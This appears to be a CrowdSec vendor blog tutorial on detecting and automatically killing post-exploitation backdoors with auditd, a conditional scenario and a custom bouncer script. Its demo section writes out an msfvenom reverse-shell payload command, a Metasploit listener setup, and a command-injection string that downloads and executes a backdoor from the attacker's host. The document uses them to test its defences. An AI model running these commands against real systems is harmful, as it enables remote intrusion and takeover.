Achieve security excellence without breaking the budget!

Download guide

Detect and Block Post-Exploitation Attempts

A few months ago, we announced the release of the CrowdSec Security Engine 1.5 — our biggest release since v1.0! Version 1.5 came packed with new features, and major enhancements, and offers more control over your security management. 

In this blog series, I am walking you through some of the most interesting features and exploring a few use cases. In the previous two parts of this series we covered:

In this part, I will show you how you can detect and block an attacker running a backdoor after exploiting a vulnerability in a web application.

Requirements

The CrowdSec Security runs in two modes — the service mode (aka default mode) and the replay mode. In this article, I’m running the CrowdSec Security Engine in replay mode. If you want to learn more about the two CrowdSec modes and how to configure acquisition for the service mode, check out the Requirements section in the first part of this series.

Install the auditd collection
You can find the collection here.

sudo cscli collections install crowdsecurity/auditd

Configure auditd


auditctl -a exit,always -F arch=b64 -S execve
auditctl -a exit,always -F arch=b32 -S execve

Note: If you want those rules to be persistent, you have to write them in /etc/audit/audit.rules.

The scenario

For this use case I am using the new type of scenario called conditional. Check out the first part of this series to find out more about the conditional scenario, or head to our documentation

There are two ways of detecting a post-exploitation attempt:

  • When the attacker downloads a backdoor via a vulnerability and then executes it
  • When a user prints a base64 blob, decodes it, and pipes it to an interpreter (Python, PHP, Perl, etc.)

In this tutorial, I will explore the first option. 

To detect a post-exploitation attempt, we need a conditional bucket that will check in the queue:

  • that there is an event where curl or wget has been executed
  • and another event with the same PPID where the executable is not located in /usr/, /bin, or /sbin (the backdoor will often be placed in /tmp) and that a shell interpreter (sh, bash, dash) has been executed 

Here is the condition that we will use for our conditional bucket:


condition: |
  any(queue.Queue, {.Meta.exe in ["/usr/bin/wget", "/usr/bin/curl"]}) 
  and (
    any(queue.Queue, { !(.Meta.exe startsWith "/usr/" or .Meta.exe startsWith "/bin/" or .Meta.exe startsWith "/sbin/")})
    or any(queue.Queue, { .Meta.exe in ["/bin/sh", "/bin/bash", "/bin/dash"] })
  )
  

This checks that:

  • the bucket contains one event where the executable is wget or curl
  • there is no event in the bucket where the executable path starts with /usr, /bin, or /sbin (because they might be legitimate binaries)
  • one event is a call to a shell interpreter

And here is the full scenario that detects post-exploitation attempts from the internet:


type: conditional
name: crowdsecurity/auditd-postexploit-exec-from-net
description: "Detect post-exploitation behaviour : curl/wget and exec"
filter: evt.Meta.log_type == 'execve'
#grouping by ppid to track a process doing those action in a short timeframe
groupby: evt.Meta.ppid
condition: |
  any(queue.Queue, {.Meta.exe in ["/usr/bin/wget", "/usr/bin/curl"]}) 
  and (
    any(queue.Queue, { !(.Meta.exe startsWith "/usr/" or .Meta.exe startsWith "/bin/" or .Meta.exe startsWith "/sbin/")})
    or any(queue.Queue, { .Meta.exe in ["/bin/sh", "/bin/bash", "/bin/dash"] })
  )
leakspeed: 1s
capacity: -1
blackhole: 1m
labels:
  service: linux
  type: post-exploitation
  remediation: true
scope:
  type: pid
  expression: evt.Meta.pid
  

You can see that the scope of this scenario is of type PID and the value is evt.Meta.pid. This means that if you want to trigger remediation for this scenario, the value of the Decision will be the PID of the last event poured into the bucket. This will be useful later on when you want to automatically block those post-exploitation attempts.

Note: Don’t forget to change remediation: false to remediation: true if you use the scenario from the CrowdSec Hub and if you want to automatically remediate against this type of attack.

Test with CrowdSec Replay mode

To check that everything works properly, you can now test this scenario with the CrowdSec Replay mode.

Here are some logs that represent a post-exploitation attempt from the net with an attacker calling wget, chmod, and running a backdoor called blitz64:


post_exploit_from_net.log
type=SYSCALL msg=audit(1684331127.039:3210): arch=c000003e syscall=59 success=yes exit=0 a0=2697508 a1=26aa088 a2=2384008 a3=59a items=2 ppid=26843 pid=27280 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=106985 comm="wget" exe="/usr/bin/wget" key=(null)
type=SYSCALL msg=audit(1684331127.071:3211): arch=c000003e syscall=59 success=yes exit=0 a0=269da28 a1=2698c88 a2=2384008 a3=59a items=2 ppid=26843 pid=27281 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=106985 comm="chmod" exe="/bin/chmod" key=(null)
type=SYSCALL msg=audit(1684331127.071:3212): arch=c000003e syscall=59 success=yes exit=0 a0=26979c8 a1=236d388 a2=2384008 a3=59a items=2 ppid=26843 pid=27282 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=106985 comm="blitz64" exe="/tmp/blitz64" key=(null)

Run can run the CrowdSec Replay mode with the following command:


$ sudo crowdsec -dsn file://post_exploit_from_net.log -type auditd -no-api
INFO[05-10-2023 11:33:06] single file mode : log_media=stdout daemonize=false 
INFO[05-10-2023 11:33:06] Enabled feature flags: [none]                
INFO[05-10-2023 11:33:06] Crowdsec v1.5.4-final-5-g4932a832-4932a832fabc15c0575bebce5c64e41a055e373b 
WARN[05-10-2023 11:33:06] MaxOpenConns is 0, defaulting to 100         
INFO[05-10-2023 11:33:06] Loading prometheus collectors                
WARN[05-10-2023 11:33:06] Exprhelpers loaded without database client.  
INFO[05-10-2023 11:33:06] Loading grok library /etc/crowdsec/patterns  
INFO[05-10-2023 11:33:06] Loading enrich plugins                       
INFO[05-10-2023 11:33:06] Successfully registered enricher 'GeoIpCity' 
INFO[05-10-2023 11:33:06] Successfully registered enricher 'GeoIpASN'  
INFO[05-10-2023 11:33:06] Successfully registered enricher 'IpToRange' 
INFO[05-10-2023 11:33:06] Successfully registered enricher 'reverse_dns' 
INFO[05-10-2023 11:33:06] Successfully registered enricher 'ParseDate' 
INFO[05-10-2023 11:33:06] Successfully registered enricher 'UnmarshalJSON' 
INFO[05-10-2023 11:33:06] Loading parsers from 6 files                 
INFO[05-10-2023 11:33:06] Loaded 2 parser nodes                         file=/etc/crowdsec/parsers/s00-raw/syslog-logs.yaml stage=s00-raw
INFO[05-10-2023 11:33:06] Loaded 1 parser nodes                         file=/etc/crowdsec/parsers/s01-parse/auditd-logs.yaml stage=s01-parse
INFO[05-10-2023 11:33:06] Loaded 1 parser nodes                         file=/etc/crowdsec/parsers/s01-parse/sshd-logs.yaml stage=s01-parse
INFO[05-10-2023 11:33:06] Loaded 1 parser nodes                         file=/etc/crowdsec/parsers/s02-enrich/dateparse-enrich.yaml stage=s02-enrich
INFO[05-10-2023 11:33:06] Loaded 1 parser nodes                         file=/etc/crowdsec/parsers/s02-enrich/geoip-enrich.yaml stage=s02-enrich
INFO[05-10-2023 11:33:06] Loaded 1 parser nodes                         file=/etc/crowdsec/parsers/s02-enrich/whitelists.yaml stage=s02-enrich
INFO[05-10-2023 11:33:06] Loaded 7 nodes from 3 stages                 
INFO[05-10-2023 11:33:06] Loading postoverflow parsers                 
INFO[05-10-2023 11:33:06] Loaded 1 parser nodes                         file=/etc/crowdsec/postoverflows/s01-whitelist/auditd-whitelisted-process.yaml stage=s01-whitelist
INFO[05-10-2023 11:33:06] Loaded 1 nodes from 1 stages                 
INFO[05-10-2023 11:33:06] Loading 8 scenario files                     
INFO[05-10-2023 11:33:06] Adding conditional bucket                     cfg=withered-morning file=/etc/crowdsec/scenarios/auditd-suid-crash.yaml name=crowdsecurity/auditd-suid-crash
INFO[05-10-2023 11:33:06] Adding leaky bucket                           cfg=damp-field file=/etc/crowdsec/scenarios/ssh-slow-bf.yaml name=crowdsecurity/ssh-slow-bf
INFO[05-10-2023 11:33:06] Adding leaky bucket                           cfg=fragrant-grass file=/etc/crowdsec/scenarios/ssh-slow-bf.yaml name=crowdsecurity/ssh-slow-bf_user-enum
INFO[05-10-2023 11:33:06] Adding leaky bucket                           cfg=late-snow file=/etc/crowdsec/scenarios/auditd-postexploit-rm.yaml name=crowdsecurity/auditd-postexploit-rm
INFO[05-10-2023 11:33:06] Adding leaky bucket                           cfg=icy-sky file=/etc/crowdsec/scenarios/auditd-postexploit-pkill.yaml name=crowdsecurity/auditd-postexploit-pkill
INFO[05-10-2023 11:33:06] Adding conditional bucket                     cfg=spring-wildflower file=/etc/crowdsec/scenarios/auditd-base64-exec-behavior.yaml name=crowdsecurity/auditd-base64-exec-behavior
INFO[05-10-2023 11:33:06] Adding leaky bucket                           cfg=weathered-glade file=/etc/crowdsec/scenarios/ssh-bf.yaml name=crowdsecurity/ssh-bf
INFO[05-10-2023 11:33:06] Adding leaky bucket                           cfg=small-sea file=/etc/crowdsec/scenarios/ssh-bf.yaml name=crowdsecurity/ssh-bf_user-enum
INFO[05-10-2023 11:33:06] Adding conditional bucket                     cfg=fragrant-pond file=/etc/crowdsec/scenarios/auditd-postexploit-exec-from-net.yaml name=crowdsecurity/auditd-postexploit-exec-from-net
INFO[05-10-2023 11:33:06] Adding trigger bucket                         cfg=dark-mountain file=/etc/crowdsec/scenarios/auditd-sus-exec.yaml name=crowdsecurity/auditd-sus-exec
INFO[05-10-2023 11:33:06] Loaded 10 scenarios                          
INFO[05-10-2023 11:33:06] Adding file auditd-postexploit-exec-from-net.log to filelist  type="file://auditd-postexploit-exec-from-net.log"
INFO[05-10-2023 11:33:06] Starting processing data                     
INFO[05-10-2023 11:33:06] reading auditd-postexploit-exec-from-net.log at once  type="file://auditd-postexploit-exec-from-net.log"
WARN[05-10-2023 11:33:06] prometheus: listen tcp 127.0.0.1:6060: bind: address already in use 
WARN[05-10-2023 11:33:06] Acquisition is finished, shutting down       
INFO[05-10-2023 11:33:06] Bucket overflow                               bucket_id=polished-fire capacity=0 cfg=dark-mountain file=/etc/crowdsec/scenarios/auditd-sus-exec.yaml name=crowdsecurity/auditd-sus-exec partition=1d9fa490f61e8dd3b46543a7c407ac77ce9c5e68
INFO[05-10-2023 11:33:06] pid 26843 performed 'crowdsecurity/auditd-postexploit-exec-from-net' (3 events over 0s) at 2023-05-17 15:45:27 +0200 CEST 
INFO[05-10-2023 11:33:06] pid 26843 performed 'crowdsecurity/auditd-sus-exec' (1 events over 0s) at 2023-05-17 15:45:27 +0200 CEST 
INFO[05-10-2023 11:33:07] Killing parser routines                      
INFO[05-10-2023 11:33:08] Bucket routine exiting                       
INFO[05-10-2023 11:33:09] crowdsec shutdown

And there you have it — CrowdSec detected the post-exploitation attempt!

Going further: Automatic remediation

Now that you have the capacity to detect this attack, it would be great to be able to block it automatically.

So, how can you do that? 

Since CrowdSec can generate remediation with a PID, you need to be able to kill this process when the scenario is triggered. Thankfully, with the crowdsec-custom-bouncer you can call a custom binary with each Decision as an argument of the script.

First, install the crowdsec-custom-bouncer and configure it to work with our local API and to get only Decisions where the scope is pid.

Second, create a custom script that receives a Decision in argument and will kill the PID in the Decision.

Install the CrowdSec custom bouncer

You can find all the information about the CrowdSec custom bouncer in our documentation.


sudo apt install crowdsec-custom-bouncer

If the bouncer is installed on the same machine as CrowdSec, then the bouncer will automatically be registered to the local API during the installation.

Create your custom script

As seen in the the custom bouncer documentation, the custom binary will receive the information about a new Decision in the following format:


custom_binary.sh add 1.2.3.4/32 3600 "test blacklist" [FULL_JSON_OBJECT]

And in this format when the Decision has to be removed:


custom_binary.sh del 1.2.3.4/32 3600 "test blacklist" [FULL_JSON_OBJECT]

Before creating your script, let’s create a virtual environment:


python -m venv /tmp/venv

And install the needed dependencies:


source /tmp/venv/bin/activate
pip install psutil

And here is your script:


#!/usr/bin/env python3

import os
import sys
import json
import signal
import logging
import psutil

SCRIPT_FOLDER = "/tmp/kill_process_bouncer/"

def setup_logger(log_dir, log_file, log_level=logging.INFO):
	log_dir = os.path.join(log_dir, "logs")
	if not os.path.exists(log_dir):
		os.makedirs(log_dir)
	
	logging.basicConfig(filename=os.path.join(log_dir, log_file),
						level=log_level,
						format='%(asctime)s - %(levelname)s - %(message)s')
	
	return logging.getLogger()

def main():
	args = sys.argv
	if len(sys.argv) < 5:
		logger.error("Not enough argument")
		sys.exit(1)

	cmd_type = args[1]
	logger = setup_logger(SCRIPT_FOLDER, "bouncer.log")

	if cmd_type != "add" and cmd_type != "del":
		logger.error("Received bad command: {}".format(cmd_type))
		sys.exit(1)


	# we only care about "add" decisions
	if cmd_type == "add":
		decision_value = int(args[2])

		# we don't care about duration and reason since we will just kill a PID
		decision_duration = args[3]
		decision_reason = args[4]
		json_object = json.loads(args[5])

		if json_object["scope"].lower() != "pid":
			sys.exit(0)

		logger.info("Received decision with scope PID: '{}'".format(decision_value))
		found = False
		for process in psutil.process_iter(['pid', 'name', 'username']):
			if process.info["pid"] == decision_value:
		
				found = True
				try:
					# kill the process
					os.kill(decision_value, signal.SIGKILL)
				except ProcessLookupError:
					logger.error(f"No such process: {e}")
					return
				except PermissionError:
					logger.error(f"Access denied: {e}")
					return

				logger.info("PID '{}' killed successfully".format(decision_value))
		if not found:
			logger.error("PID '{}' not found".format(decision_value))
							

if __name__ == "__main__":
	main()
  

Add this script in /tmp/kill_process_bouncer/kill_process_bouncer.py and it will log any action in tmp/kill_process_bouncer/logs/bouncer.log. You must give it the right to be executed with:


chmod +x /tmp/kill_process_bouncer/kill_process_bouncer.py

Note: For this tutorial, I am using /tmp/ but if you want to use it in production, put it in another folder.

So basically, this script will receive as arguments:

  • the value field of the Decision
  • the duration of the Decision (you don’t need it here)
  • the reason of the Decision (you don’t need it here)
  • the full JSON object of the Decision: you need it to get the scope and the scenario

If the scope of the Decision it received is pid and the process is currently running, then the script will try to kill it.

Let's now configure the custom bouncer to call the script when it receives a new Decision, and to filter the Decision with a scope pid directly at the local API level.

In the bouncer configuration file (/etc/crowdsec/bouncers/crowdsec-custom-bouncer.yaml), edit the bin_path parameter with the script path and add the scopes array with the pid value:


bin_path: ${BINARY_PATH}
scopes:
  - pid
  

And restart the bouncer:


sudo systemctl restart crowdsec-custom-bouncer

Configure the CrowdSec profile

In order to generate a Decision for alerts with the pid scope, you need to add this section at the beginning of the profile configuration:


/etc/crowdsec/profiles.yaml
—
name: pid_remediation
filters:
  - Alert.Remediation == true && Alert.GetScope() == "pid"
decisions:
  - type: kill
    duration: 1h
on_success: break
---

Demo

Now it is time to check if your new scenario works in real-time. For this demo, I have a basic PHP website that asks a user to run a PING command. This functionality is vulnerable to command injection, and this is where I will try to upload and execute the backdoor.

Note: Before you get started with this step, please make sure add the acquisition as shown in the requirements and restart the Security Engine.

Attacker requirements

To create the backdoor and the listener, I will use Metasploit.

You can run the following command to create the backdoor binary where attacker_ip is the IP of the listener and attacker_port is the port of the listener:


msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[attacker_ip] LPORT=[attacker_port] -f elf -o /tmp/payload.bin

Let’s now create a basic Python HTTP server to host this file, so it can be downloaded from the defender server.


python -m http.server 8082 --bind 0.0.0.0

And now you can configure and run the listener:


msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
lport => 8000
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:8000

Exploitation

To download and execute the backdoor, you need to exploit the command injection vulnerability in the ping input of the website. The payload will download the backdoor in /tmp/backdoor.sh, give it the right to be executed and, finally, execute it:


; curl -o /tmp/backdoor.sh "http://:8082/payload.bin" ; chmod +x /tmp/backdoor.sh ; /tmp/backdoor.sh

Congrats, you now have a shell on the defender machines!


msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:8000 

[*] Sending stage (1017704 bytes) to [DEFENDER_IP]
[*] Meterpreter session 1 opened (172.31.15.92:8000 -> [DEFENDER_IP]:46946) at 2023-10-05 15:21:34 +0000

meterpreter >

CrowdSec to the rescue

Just after the attacker submits its input to download and execute the backdoor, you can see that CrowdSec is triggering a Decision with the PID of the process running the backdoor:


time="05-10-2023 15:30:08" level=info msg="(11c1e4655bc54250b10c4e8d5ee47a22lrT49Y3WOXhIAKdy/crowdsec) crowdsecurity/auditd-postexploit-exec-from-net by pid 2080185 : 1h kill on pid 2080185"

And you can check in the logs of the custom script that the PID has been killed:


2023-10-05 15:30:16,438 - INFO - PID '2080185' killed successfully

And finally, on the attacker machine, you can see that the Meterpreter session has been closed!


[*] [DEFENDER_IP] - Meterpreter session 1 closed.  Reason: Died

Let’s go even further!

You now have the capability to kill the PID of the process that is running the backdoor. But it would be cool to also block the IP address of the attacker, wouldn’t it?

Install the CrowdSec firewall bouncer

To install the CrowdSec firewall bouncer, we just need to run the apt install command:


sudo apt install crowdsec-firewall-bouncer-iptables

Get the IP address connected to the backdoor

Here is a Python function that can retrieve the remote address to which a process is connecting (via /proc/[pid]/net/tcp):


def get_remote_addresses(pid):
    tcp_path = "/proc/{}/net/tcp".format(pid)
    if not os.path.exists(tcp_path):
        logger.error("Path {} does not exist.".format(tcp_path))
        return []

    def parse_ipv4_address(addr):
        ip_parts = [addr[i:i+2] for i in range(0, len(addr), 2)]
        ip = ".".join(str(int(part, 16)) for part in reversed(ip_parts))
        return ip

    addresses = []
    with open(tcp_path, 'r') as file:
        for line in file.readlines()[1:]:
            parts = line.split()
            state = parts[3]
            local_address = parts[1].split(":")[0]
            local_port = int(parts[1].split(":")[1], 16)
            rem_address = parts[2]
            rem_ip, _ = rem_address.split(":")

            # Filter to ESTABLISHED state, outgoing connection and not local ADDR
            if state == '01' and local_port > 32768 and not local_address in ('00000000', '0100007F'):
                addresses.append(parse_ipv4_address(rem_ip))

    return list(set(addresses))
    

Ban the aggressive IP address

Now that you have installed the firewall bouncer and that you have the IP you want to ban, you can simply add a CrowdSec Decision on this IP in your Python script:


os.system(“sudo cscli decisions add -i {} --reason '{}'”.format(attacker_ip, scenario))

After exploiting the website again, the meterpreter session has been closed again, but this time, it is not possible to exploit the website again since the IP address of the attacker has been added to the CrowdSec Decisions list and is now blocked by the firewall bouncer:


╭───────┬──────────┬───────────────────┬────────────────────────────────────────────────┬────────┬─────────┬──────────────────────────────────────────────┬────────┬────────────────────┬──────────╮
│  ID   │  Source  │    Scope:Value    │                     Reason                     │ Action │ Country │                      AS                      │ Events │     expiration     │ Alert ID │
├───────┼──────────┼───────────────────┼────────────────────────────────────────────────┼────────┼─────────┼──────────────────────────────────────────────┼────────┼────────────────────┼──────────┤
│ 45124 │ cscli    │ Ip:34.245.18.114  │ crowdsecurity/auditd-postexploit-exec-from-net │ ban    │         │                                              │ 1      │ 3h59m4.800814301s  │ 8132     │

Here is the full Python script:


#!/usr/bin/env python3

import os
import sys
import json
import signal
import logging
import psutil

SCRIPT_FOLDER = "/tmp/kill_process_bouncer/"

def setup_logger(log_dir, log_file, log_level=logging.INFO):
	log_dir = os.path.join(log_dir, "logs")
	if not os.path.exists(log_dir):
		os.makedirs(log_dir)
	
	logging.basicConfig(filename=os.path.join(log_dir, log_file),
						level=log_level,
						format='%(asctime)s - %(levelname)s - %(message)s')
	
	return logging.getLogger()

def get_remote_addresses(pid):
    tcp_path = "/proc/{}/net/tcp".format(pid)
    if not os.path.exists(tcp_path):
        logger.error("Path {} does not exist.".format(tcp_path))
        return []

    def parse_ipv4_address(addr):
        ip_parts = [addr[i:i+2] for i in range(0, len(addr), 2)]
        ip = ".".join(str(int(part, 16)) for part in reversed(ip_parts))
        return ip

    addresses = []
    with open(tcp_path, 'r') as file:
        for line in file.readlines()[1:]:
            parts = line.split()
            state = parts[3]
            local_address = parts[1].split(":")[0]
            local_port = int(parts[1].split(":")[1], 16)
            rem_address = parts[2]
            rem_ip, _ = rem_address.split(":")

            # Filter to ESTABLISHED state, outgoing connection and not local ADDR
            if state == '01' and local_port > 32768 and not local_address in ('00000000', '0100007F'):
                addresses.append(parse_ipv4_address(rem_ip))

    return list(set(addresses))


def main():
	args = sys.argv
	if len(sys.argv) < 5:
		logger.error("Not enough argument")
		sys.exit(1)

	cmd_type = args[1]
	logger = setup_logger(SCRIPT_FOLDER, "bouncer.log")

	if cmd_type != "add" and cmd_type != "del":
		logger.error("Received bad command: {}".format(cmd_type))
		sys.exit(1)


	# we only care about "add" decisions
	if cmd_type == "add":
		decision_value = int(args[2])

		# we don't care about duration and reason since we will just kill a PID
		decision_duration = args[3]
		decision_reason = args[4]
		json_object = json.loads(args[5])

		if json_object["scope"].lower() != "pid":
			sys.exit(0)

		logger.info("Received decision with scope PID: '{}'".format(decision_value))
		found = False
		for process in psutil.process_iter(['pid', 'name', 'username']):
			if process.info["pid"] == decision_value:
				# Get remote addresses before killing the process
				remote_addresses = get_remote_addresses(decision_value)
				
				found = True
				try:
					# kill the process
					os.kill(decision_value, signal.SIGKILL)
				except ProcessLookupError:
					logger.error(f"No such process: {e}")
					return
				except PermissionError:
					logger.error(f"Access denied: {e}")
					return

				logger.info("PID '{}' killed successfully".format(decision_value))

				for addr in remote_addresses:
					os.system("cscli decisions add -i {} --reason '{}'".format(addr, json_object["scenario"]))

		if not found:
			logger.error("PID '{}' not found".format(decision_value))
							

if __name__ == "__main__":
	main()
  

Conclusion

The conditional bucket feature introduced in CrowdSec Security Engine 1.5 is a truly exceptional tool that helps you detect more advanced suspicious and aggressive behaviors. This was the last part of our CrowdSec Security Engine 1.5 in Action series — I hope you enjoyed it!

Don’t forget to visit the CrowdSec Blog as we are publishing new and interesting tutorials for you every week. 

You may also like

Protect Your Applications with AWS WAF and CrowdSec: Part I
Tutorial

Protect Your Applications with AWS WAF and CrowdSec: Part I

Learn how to configure the AWS WAF Remediation Component to protect applications running behind an ALB that can block both IPs and countries.

Protect Your Serverless Applications with AWS WAF and CrowdSec: Part II
Tutorial

Protect Your Serverless Applications with AWS WAF and CrowdSec: Part II

Learn how to protect your serverless applications hosted behind CloudFront or Application Load Balancer with CrowdSec and the AWS WAF.

Securing A Multi-Server CrowdSec Security Engine Installation With HTTPS
Tutorial

Securing A Multi-Server CrowdSec Security Engine Installation With HTTPS

In part II of this series, you learn about the three different ways to achieve secure TLS communications between your CrowdSec Security Engines in a multi-server setup.